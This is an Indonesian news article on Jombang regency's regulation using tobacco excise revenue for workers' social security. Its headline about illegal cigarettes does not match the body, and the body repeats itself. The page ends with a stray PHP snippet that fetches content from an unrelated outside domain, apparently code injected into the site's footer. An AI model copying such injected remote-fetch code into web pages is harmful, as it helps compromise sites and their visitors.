Pemerintah Kabupaten Gempur rokok ilegal

Kamis, 12 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.Info | Jombang – Jatim – Salah satunya, melalui penggunaan dana bagi hasil cukai hasil tembakau (DBHCHT) di Jombang yang dipakai untuk bantuan perlindungan jaminan sosial ketenagakerjaan.

Hal itu diatur dalam Perbup nomor 38 tahun 2024 tentang Penggunaan dana bagi hasil Cukai Hasil Tembakau untuk Bantuan Perlindungan Jaminan Sosial Ketenagakerjaan,hal ini dilakukan wawancara pada 29/08/2024

”Ya benar, perbup tersebut disahkan pada 6 Juni 2024, oleh Pj Bupati Jombang saat itu masih Bapak Sugiat,” kata Agus Purnomo, sekretaris Daerah Jombang.

Baca Juga:  Sambut HUT ke 75 Kodam V Brawijaya dan Hari Juang TNI ke 78 Th 2023, Kodim 0822 Bondowoso Berbagi Sembako

Dalam perbup dijelaskan, jika penggunaan DBHCHT untuk bantuan perlindungan jaminan sosial ketenagakerjaan berdasarkan asas keadilan, kepatutan, rasionalisme, pemerataan dan kemanfaatan.

”Kepatutan yang dimaksud adalah dilakukan secara wajar dan proporsional, dalam pemberian bantuan perlindungan jaminan sosial ketenagakerjaan,” katanya.

DBHCHT yang dipakai untuk perlindungan sosial ketenagakerjaan ini sebagian dari upata untuk langkah nyata Pemkab Jombang dalam melindungi penerima bantuan.

Baca Juga:  AHY Ajak Kader Dukung Anies Pimpin Perubahan dan Perbaikan

”Kita juga memakai asas pemerataan, pemberian bantuan dapat menjangkau masyarakat penerima bantuan sesuai dengan kriteria yang ditetapkan,” lanjut Agus.

Perbup tersebut ditetapkan sebagai tindak lanjut dari permenkeu Nomor 215/PMK.07/2021 tentang Penggunaan, Pemantauan, dan Evaluasi Dana Bagi Hasil Cukai Hasil Tembakau.

Perbup juga ditujukan dengan tujuan sebagai pedoman dalam pelaksanaan pemberian bantuan perlindungan jaminan sosial ketenagakerjaan bagi pemerintah daerah bekerjasama dengan BPJS Ketenagakerjan.

Baca Juga:  Pemdes Plosogeneng Gelar Pawai Budaya Dalam Rangka HUT RI ke 79

Penggunaan dana bagi hasil cukai hasil tembakau (DBHCHT) di Jombang, dipakai untuk bantuan perlindungan jaminan sosial ketenagakerjaan.

Hal itu diatur dalam Perbup Jombang nomor 38 tahun 2024 tentang Penggunaan dana bagi hasil Cukai Hasil Tembakau untuk Bantuan Perlindungan Jaminan Sosial Ketenagakerjaan.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>